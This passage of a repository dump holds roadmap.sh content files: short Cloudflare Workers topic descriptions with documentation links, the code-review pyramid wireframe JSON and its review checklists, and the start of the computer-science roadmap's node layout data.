    "content": "# Webhook Handling\n\nCloudflare can handle webhooks to trigger actions based on external events. You can configure Cloudflare Workers to receive webhook requests and process the data. This allows you to integrate Cloudflare with other services like GitHub, Slack, or monitoring tools. When an event occurs in the external service, it sends a webhook to your Cloudflare Worker, which can then perform actions such as updating DNS records, purging the cache, or sending notifications.\n\nVisit the following resources to learn more:\n\n- [@official@Configure Webhooks - Cloudflare](https://developers.cloudflare.com/notifications/get-started/configure-webhooks/)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/workers-ai@a0S0_JLwLLNGLUAHrqG4P.md",
    "content": "# Workers AI\n\nCloudflare Workers AI allows you to run AI inference directly on Cloudflare's global network, close to your users. This eliminates the need to send data to centralized AI servers, reducing latency and improving performance for AI-powered applications. You can use Workers AI to perform tasks like image recognition, natural language processing, and sentiment analysis at the edge.\n\nVisit the following resources to learn more:\n\n- [@official@Workers AI - Cloudflare Docs](https://developers.cloudflare.com/workers-ai/)\n- [@official@Models · Cloudflare Workers AI](https://developers.cloudflare.com/workers-ai/models/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/workers-kv@1dGFfQauOgHP7T4ReMpCU.md",
    "content": "# Workers KV\n\nWorkers KV is a data storage that allows you to store and retrieve data globally. With Workers KV, you can build dynamic and performant APIs and websites that support high read volumes with low latency.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Workers KV Documentation](https://developers.cloudflare.com/kv/)\n- [@official@How to Use Cloudflare Workers and KV Storage](https://www.youtube.com/watch?v=NGk2HxV0Xkg)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/workers-lifecycle@i6L9FI6fBDXr0XtMrc_uR.md",
    "content": "# Workers Lifecycle\n\nA Cloudflare Worker's lifecycle is short and stateless. Each invocation starts when a request hits the Cloudflare edge. The Worker executes its code to handle the request. Once the response is sent (or an error occurs), the Worker instance terminates. There's no persistent state between requests unless you use services like KV or Durable Objects. This stateless nature ensures scalability and quick response times. Understanding this lifecycle is crucial for designing efficient Workers that can handle a high volume of requests.\n\nVisit the following resources to learn more:\n\n- [@official@Workers RPC - Lifecycle](https://developers.cloudflare.com/workers/runtime-apis/rpc/lifecycle/)\n- [@official@How Workers Works · Cloudflare](https://developers.cloudflare.com/workers/reference/how-workers-works/)\n- [@official@Introducing workerd: the Open Source Workers Runtime](https://blog.cloudflare.com/workerd-open-source-workers-runtime/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/workers-runtime-environment@TB6vGzDgGZ9yAd9MGR7vw.md",
    "content": "# Workers Runtime Environment\n\nThe Workers runtime environment is a lightweight JavaScript execution environment running on Cloudflare's edge network. It's based on V8, the same engine that powers Chrome and Node.js, but optimized for speed and security. Workers have limited access to global variables and APIs compared to a traditional Node.js environment, focusing on handling HTTP requests and responses. It provides APIs for caching, KV storage, and accessing request information, enabling performant and globally distributed serverless functions.\n\nVisit the following resources to learn more:\n\n- [@official@How Workers Works · Cloudflare](https://developers.cloudflare.com/workers/reference/how-workers-works/)\n- [@official@Introducing workerd: the Open Source Workers Runtime](https://blog.cloudflare.com/workerd-open-source-workers-runtime/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/workers-security-model@8IF7jftushwZrn7JXpC_v.md",
    "content": "# Workers Security Model\n\nCloudflare Workers operate within a secure, isolated environment. The Workers runtime enforces strict security boundaries, preventing Workers from accessing sensitive data or interfering with other processes. Workers have limited access to the outside world and must explicitly request resources. Cloudflare's global network provides inherent DDoS protection and mitigates common web vulnerabilities. This secure execution environment ensures that Workers can safely process requests without compromising the overall security of the platform.\n\nVisit the following resources to learn more:\n\n- [@official@Security Model · Cloudflare](https://developers.cloudflare.com/workers/reference/security-model/)\n- [@official@Workers RPC — Visibility and Security Model - Cloudflare Docs](https://developers.cloudflare.com/workers/runtime-apis/rpc/visibility/)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/workflows@rAl7zXcODiqIpS__3qf1A.md",
    "content": "# Workflows\n\nCloudflare Workflow allows you to automate tasks and orchestrate different Cloudflare services through a visual, no-code/low-code interface. You can create workflows that trigger based on various events (e.g., HTTP requests, scheduled triggers) and perform actions such as modifying HTTP headers, routing traffic, or integrating with external APIs. It's designed to simplify complex configurations and automate repetitive tasks without requiring extensive coding knowledge.\n\nVisit the following resources to learn more:\n\n- [@official@Cloudflare Workflows · Cloudflare](https://developers.cloudflare.com/workflows/)\n- [@opensource@Cloudflare Workflows Starter](https://github.com/cloudflare/workflows-starter)"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/wrangler@Tzx93tvoGrc9_fKQqkorN.md",
    "content": "# Wrangler\n\n`Wrangler` is the command-line interface (CLI) for Cloudflare Workers. It simplifies the process of developing, testing, and deploying Workers. With `wrangler`, you can:\n\n- Create new Worker projects.\n- Develop Workers locally.\n- Deploy Workers to Cloudflare.\n- Manage secrets and environment variables.\n- Configure bindings to other Cloudflare services.\n\n`Wrangler` streamlines the entire Workers workflow, making it an essential tool for any Cloudflare Workers developer.\n\nVisit the following resources to learn more:\n\n- [@official@Wrangler Documentation](https://developers.cloudflare.com/workers/wrangler/)\n- [@official@Wrangler Commands](https://developers.cloudflare.com/workers/wrangler/commands//)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/content/wrangler@n0vIbHmUZHrF4WjEhYdb8.md",
    "content": "# Wrangler\n\nWrangler is the command-line interface (CLI) tool for building, deploying, and managing Cloudflare Workers. It simplifies the development workflow by providing commands for creating new projects, testing Workers locally, deploying code to Cloudflare's edge network, and managing secrets. Wrangler automates many tasks, making it easier to develop and deploy serverless applications on Cloudflare.\n\nVisit the following resources to learn more:\n\n- [@official@Wrangler Documentation](https://developers.cloudflare.com/workers/wrangler/)\n- [@official@Wrangler Commands](https://developers.cloudflare.com/workers/wrangler/commands//)\n"
  },
  {
    "path": "src/data/roadmaps/cloudflare/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/code-review/code-review.json",
    "content": "{\n  \"mockup\": {\n    \"controls\": {\n      \"control\": [\n        {\n          \"ID\": \"9373\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"1\",\n          \"measuredW\": \"287\",\n          \"measuredH\": \"102\",\n          \"w\": \"287\",\n          \"h\": \"102\",\n          \"x\": \"1268\",\n          \"y\": \"893\",\n          \"properties\": {\n            \"controlName\": \"101-tests\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"287\",\n                  \"h\": \"102\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"48\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"120\",\n                  \"y\": \"37\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Tests\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9374\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"2\",\n          \"measuredW\": \"196\",\n          \"measuredH\": \"102\",\n          \"w\": \"196\",\n          \"h\": \"102\",\n          \"x\": \"1314\",\n          \"y\": \"794\",\n          \"properties\": {\n            \"controlName\": \"100-code-style\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"196\",\n                  \"h\": \"102\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16770457\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"98\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"49\",\n                  \"y\": \"37\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Code Style\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9375\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"3\",\n          \"measuredW\": \"424\",\n          \"measuredH\": \"102\",\n          \"w\": \"424\",\n          \"h\": \"102\",\n          \"x\": \"1200\",\n          \"y\": \"992\",\n          \"properties\": {\n            \"controlName\": \"102-documentation\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"424\",\n                  \"h\": \"102\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"138\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"143\",\n                  \"y\": \"37\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Documentation\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9376\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"4\",\n          \"measuredW\": \"556\",\n          \"measuredH\": \"102\",\n          \"w\": \"556\",\n          \"h\": \"102\",\n          \"x\": \"1134\",\n          \"y\": \"1091\",\n          \"properties\": {\n            \"controlName\": \"103-implementation-semantics\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"556\",\n                  \"h\": \"102\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"241\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"157\",\n                  \"y\": \"37\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"Implementation Semantics\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9377\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"5\",\n          \"measuredW\": \"699\",\n          \"measuredH\": \"102\",\n          \"w\": \"699\",\n          \"h\": \"102\",\n          \"x\": \"1062\",\n          \"y\": \"1186\",\n          \"properties\": {\n            \"controlName\": \"104-api-semantics\"\n          },\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Canvas\",\n                  \"zOrder\": \"0\",\n                  \"w\": \"699\",\n                  \"h\": \"102\",\n                  \"measuredW\": \"100\",\n                  \"measuredH\": \"70\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"color\": \"16776960\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"131\",\n                  \"measuredH\": \"28\",\n                  \"x\": \"284\",\n                  \"y\": \"37\",\n                  \"properties\": {\n                    \"size\": \"20\",\n                    \"text\": \"API Semantics\"\n                  }\n                }\n              ]\n            }\n          }\n        },\n        {\n          \"ID\": \"9378\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"6\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"28\",\n          \"x\": \"1844\",\n          \"y\": \"841\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Smaller effort for\"\n          }\n        },\n        {\n          \"ID\": \"9379\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"7\",\n          \"measuredW\": \"156\",\n          \"measuredH\": \"28\",\n          \"x\": \"1844\",\n          \"y\": \"868\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"changes later on.\"\n          }\n        },\n        {\n          \"ID\": \"9380\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"8\",\n          \"measuredW\": \"143\",\n          \"measuredH\": \"28\",\n          \"x\": \"1844\",\n          \"y\": \"1187\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Higher effort for\"\n          }\n        },\n        {\n          \"ID\": \"9381\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"9\",\n          \"measuredW\": \"156\",\n          \"measuredH\": \"28\",\n          \"x\": \"1844\",\n          \"y\": \"1214\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"changes later on.\"\n          }\n        },\n        {\n          \"ID\": \"9384\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"14\",\n          \"measuredW\": \"134\",\n          \"measuredH\": \"28\",\n          \"x\": \"837\",\n          \"y\": \"881\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Automate here\"\n          }\n        },\n        {\n          \"ID\": \"9386\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"18\",\n          \"measuredW\": \"139\",\n          \"measuredH\": \"28\",\n          \"x\": \"833\",\n          \"y\": \"1089\",\n          \"properties\": {\n            \"size\": \"20\",\n            \"text\": \"Focus on these\"\n          }\n        },\n        {\n          \"ID\": \"9391\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"19\",\n          \"w\": \"152\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"806\",\n          \"y\": \"929\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 152,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999994,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0.048133037535308176,\n              \"y\": 0\n            },\n            \"color\": \"16382715\"\n          }\n        },\n        {\n          \"ID\": \"9394\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"20\",\n          \"w\": \"123\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1422\",\n          \"y\": \"1458\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 123,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999994,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0.2922777153748939,\n              \"y\": 0\n            },\n            \"color\": \"16382715\"\n          }\n        },\n        {\n          \"ID\": \"9395\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"21\",\n          \"w\": \"170\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1898\",\n          \"y\": \"929\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 170.17433009674505,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.5,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0.2922777153748939,\n              \"y\": 0\n            },\n            \"color\": \"16382715\"\n          }\n        },\n        {\n          \"ID\": \"9396\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"22\",\n          \"w\": \"123\",\n          \"h\": \"1\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1338\",\n          \"y\": \"769\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 123,\n              \"y\": 0\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999994,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0.2922777153748939,\n              \"y\": 0\n            },\n            \"color\": \"16382715\"\n          }\n        },\n        {\n          \"ID\": \"9397\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"12\",\n          \"w\": \"256\",\n          \"h\": \"190\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"997\",\n          \"y\": \"794\",\n          \"properties\": {\n            \"color\": \"6710886\",\n            \"borderColor\": \"6710886\"\n          }\n        },\n        {\n          \"ID\": \"9398\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"13\",\n          \"w\": \"237\",\n          \"h\": \"86\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"1062\",\n          \"y\": \"794\",\n          \"properties\": {\n            \"color\": \"6710886\",\n            \"borderColor\": \"6710886\"\n          }\n        },\n        {\n          \"ID\": \"9402\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"15\",\n          \"w\": \"54\",\n          \"h\": \"293\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"996\",\n          \"y\": \"995\",\n          \"properties\": {\n            \"color\": \"4473924\",\n            \"borderColor\": \"4473924\"\n          }\n        },\n        {\n          \"ID\": \"9403\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"16\",\n          \"w\": \"87\",\n          \"h\": \"181\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"1034\",\n          \"y\": \"995\",\n          \"properties\": {\n            \"color\": \"4473924\",\n            \"borderColor\": \"4473924\"\n          }\n        },\n        {\n          \"ID\": \"9404\",\n          \"typeID\": \"Canvas\",\n          \"zOrder\": \"17\",\n          \"w\": \"86\",\n          \"h\": \"89\",\n          \"measuredW\": \"100\",\n          \"measuredH\": \"70\",\n          \"x\": \"1100\",\n          \"y\": \"995\",\n          \"properties\": {\n            \"color\": \"4473924\",\n            \"borderColor\": \"4473924\"\n          }\n        },\n        {\n          \"ID\": \"9405\",\n          \"typeID\": \"Label\",\n          \"zOrder\": \"10\",\n          \"measuredW\": \"14\",\n          \"measuredH\": \"36\",\n          \"x\": \"1808\",\n          \"y\": \"1260\",\n          \"properties\": {\n            \"text\": \"v\",\n            \"size\": \"28\"\n          }\n        },\n        {\n          \"ID\": \"9406\",\n          \"typeID\": \"Arrow\",\n          \"zOrder\": \"11\",\n          \"w\": \"1\",\n          \"h\": \"473\",\n          \"measuredW\": \"150\",\n          \"measuredH\": \"100\",\n          \"x\": \"1815\",\n          \"y\": \"809\",\n          \"properties\": {\n            \"curvature\": \"0\",\n            \"leftArrow\": \"false\",\n            \"rightArrow\": \"false\",\n            \"p0\": {\n              \"x\": 0,\n              \"y\": -0.14389738910188044\n            },\n            \"p1\": {\n              \"x\": 0.49999999999999994,\n              \"y\": 0\n            },\n            \"p2\": {\n              \"x\": 0,\n              \"y\": 472.82713475857486\n            }\n          }\n        },\n        {\n          \"ID\": \"9407\",\n          \"typeID\": \"__group__\",\n          \"zOrder\": \"0\",\n          \"measuredW\": \"992\",\n          \"measuredH\": \"26\",\n          \"w\": \"992\",\n          \"h\": \"26\",\n          \"x\": \"929\",\n          \"y\": \"1339\",\n          \"children\": {\n            \"controls\": {\n              \"control\": [\n                {\n                  \"ID\": \"0\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"0\",\n                  \"measuredW\": \"76\",\n                  \"measuredH\": \"26\",\n                  \"x\": \"0\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"text\": \"Also visit \",\n                    \"size\": \"18\"\n                  }\n                },\n                {\n                  \"ID\": \"1\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"1\",\n                  \"measuredW\": \"232\",\n                  \"measuredH\": \"26\",\n                  \"w\": \"232\",\n                  \"h\": \"26\",\n                  \"x\": \"82\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:roadmap.sh/best-practices/code-review\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"232\",\n                          \"measuredH\": \"26\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"color\": \"10027263\",\n                            \"size\": \"18\",\n                            \"text\": \"Code Review Best Practices\"\n                          }\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"ID\": \"2\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"2\",\n                  \"measuredW\": \"202\",\n                  \"measuredH\": \"26\",\n                  \"w\": \"202\",\n                  \"h\": \"26\",\n                  \"x\": \"532\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:roadmap.sh/code-review\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"202\",\n                          \"measuredH\": \"26\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"color\": \"10027263\",\n                            \"size\": \"18\",\n                            \"text\": \"roadmap.sh/code-review\"\n                          }\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"ID\": \"3\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"3\",\n                  \"measuredW\": \"9\",\n                  \"measuredH\": \"26\",\n                  \"x\": \"335\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"18\",\n                    \"text\": \"/\",\n                    \"color\": \"10066329\"\n                  }\n                },\n                {\n                  \"ID\": \"4\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"4\",\n                  \"measuredW\": \"59\",\n                  \"measuredH\": \"26\",\n                  \"x\": \"788\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"18\",\n                    \"text\": \"Credits\"\n                  }\n                },\n                {\n                  \"ID\": \"5\",\n                  \"typeID\": \"__group__\",\n                  \"zOrder\": \"5\",\n                  \"measuredW\": \"135\",\n                  \"measuredH\": \"26\",\n                  \"w\": \"135\",\n                  \"h\": \"26\",\n                  \"x\": \"857\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"controlName\": \"ext_link:www.morling.dev/blog/the-code-review-pyramid/\"\n                  },\n                  \"children\": {\n                    \"controls\": {\n                      \"control\": [\n                        {\n                          \"ID\": \"0\",\n                          \"typeID\": \"Label\",\n                          \"zOrder\": \"0\",\n                          \"measuredW\": \"135\",\n                          \"measuredH\": \"26\",\n                          \"x\": \"0\",\n                          \"y\": \"0\",\n                          \"properties\": {\n                            \"size\": \"18\",\n                            \"color\": \"10027263\",\n                            \"text\": \"@gunnarmorling\"\n                          }\n                        }\n                      ]\n                    }\n                  }\n                },\n                {\n                  \"ID\": \"6\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"6\",\n                  \"measuredW\": \"9\",\n                  \"measuredH\": \"26\",\n                  \"x\": \"760\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"18\",\n                    \"text\": \"/\",\n                    \"color\": \"10066329\"\n                  }\n                },\n                {\n                  \"ID\": \"7\",\n                  \"typeID\": \"Label\",\n                  \"zOrder\": \"7\",\n                  \"measuredW\": \"150\",\n                  \"measuredH\": \"26\",\n                  \"x\": \"370\",\n                  \"y\": \"0\",\n                  \"properties\": {\n                    \"size\": \"18\",\n                    \"text\": \"Interactive version\"\n                  }\n                }\n              ]\n            }\n          }\n        }\n      ]\n    },\n    \"attributes\": {\n      \"name\": \"New Wireframe 1 copy\",\n      \"order\": 1000010.2336643032,\n      \"parentID\": null,\n      \"notes\": \"\"\n    },\n    \"branchID\": \"Master\",\n    \"resourceID\": \"D5E1AC09-3023-4145-A52A-4D904363A065\",\n    \"mockupH\": \"690\",\n    \"mockupW\": \"1262\",\n    \"measuredW\": \"2068\",\n    \"measuredH\": \"1459\",\n    \"version\": \"1.0\"\n  },\n  \"groupOffset\": {\n    \"x\": 0,\n    \"y\": 0\n  },\n  \"dependencies\": [],\n  \"projectID\": \"file:///Users/kamrify/Desktop/New%20Roadmaps/New%20Project%201.bmpr\"\n}"
  },
  {
    "path": "src/data/roadmaps/code-review/code-review.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/code-review.json'\npdfUrl: '/pdfs/roadmaps/code-review.pdf'\norder: 14\nbriefTitle: 'Code Review'\nbriefDescription: 'Learn what to focus on when conducting a code review.'\ntitle: 'Code Review Pyramid'\ndescription: 'Learn what to focus on when conducting a code review.'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 506.06\nschema:\n  headline: 'Code Review Guide'\n  description: 'Learn what to review when conducting Code Reviews with this interactive guide. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/code-review.png'\n  datePublished: '2023-06-03'\n  dateModified: '2023-06-03'\nseo:\n  title: 'Code Review Guide'\n  description: 'Learn what to review when conducting code reviews. We also have questions to ask yourself under each node of the pyramid to guide you further.'\n  keywords:\n    - 'code review tutorial'\n    - 'code review guide'\n    - 'code review for beginners'\n    - 'code reviews'\n    - 'code review 2025'\n    - 'code review best practices'\n    - 'code review roadmap 2024'\n    - 'code review roadmap 2025'\n    - 'guide to learning code review'\n    - 'code review roadmap'\n    - 'code review learning path'\n    - 'code review learning roadmap'\n    - 'what is code review'\nrelatedRoadmaps:\n  - 'backend'\n  - 'frontend'\n  - 'devops'\n  - 'engineering-manager'\n  - 'system-design'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/code-review/content/api-semantics.md",
    "content": "# Questions to Ask\n\n- API as small as possible, as large as needed?\n- Is there one way of doing one thing, not multiple ones?\n- Is it consistent, does it follow the principle of least surprise?\n- Clean split of API/internals without internals leaking into the API?\n- Are there no breaking changes to user-facing parts (API classes, configuration, metrics, log formats, etc)?\n- Is a new API generally useful and not overly specific to a single use case?\n"
  },
  {
    "path": "src/data/roadmaps/code-review/content/code-style.md",
    "content": "# Questions to Ask\n\n- Is the project's formatting style applied?\n- Does it adhere to the agreed-upon naming conventions?\n- Is it DRY?\n- Is the code sufficiently \"readable\" (method lengths, etc.)?\n"
  },
  {
    "path": "src/data/roadmaps/code-review/content/documentation.md",
    "content": "# Questions to Ask\n\n- Are the new features reasonably documented?\n- Are all relevant types of documentation covered, such as README, API docs, user guide, reference docs, etc?\n- Is the documentation understandable and free of significant typos and grammar mistakes?\n"
  },
  {
    "path": "src/data/roadmaps/code-review/content/implementation-semantics.md",
    "content": "# Questions to Ask\n\n- Does it satisfy the original requirements?\n- Is it logically correct?\n- Is there no unnecessary complexity?\n- Is it robust (i.e., no concurrency issues, proper error handling, etc.)?\n- Is it performant?\n- Is it secure (i.e., no SQL injections, etc.)?\n- Is it observable (i.e., metrics, logging, tracing, etc.)?\n- Do newly added dependencies pull their weight? Is their license acceptable?\n"
  },
  {
    "path": "src/data/roadmaps/code-review/content/index.md",
    "content": "# "
  },
  {
    "path": "src/data/roadmaps/code-review/content/tests.md",
    "content": "# Questions to Ask\n\n- Are all tests passing?\n- Are new features reasonably tested?\n- Are corner cases tested?\n- Is it using unit tests where possible, integration tests where necessary?\n- Are there tests for NFRs, e.g. performance?\n"
  },
  {
    "path": "src/data/roadmaps/code-review/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/computer-science/computer-science.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"WEZpo4ODCC0i7oIwQSnaN\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 434.5440348728025,\n        \"y\": 2919.8089042926963\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 744,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 744\n      },\n      \"positionAbsolute\": {\n        \"x\": 434.5440348728025,\n        \"y\": 2919.8089042926963\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 744\n      }\n    },\n    {\n      \"id\": \"IKc5ueq_Y6eapjmKMHiwc\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 285.6360889073014,\n        \"y\": 3208.628717156272\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"diInbFoBy8YracmAhlDsu\"\n      },\n      \"zIndex\": 999,\n      \"width\": 159,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 285.6360889073014,\n        \"y\": 3208.628717156272\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"N4hMgSs7_NkJTye1b4WGB\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": -146.6609513586469,\n        \"y\": 2386.2403288368755\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 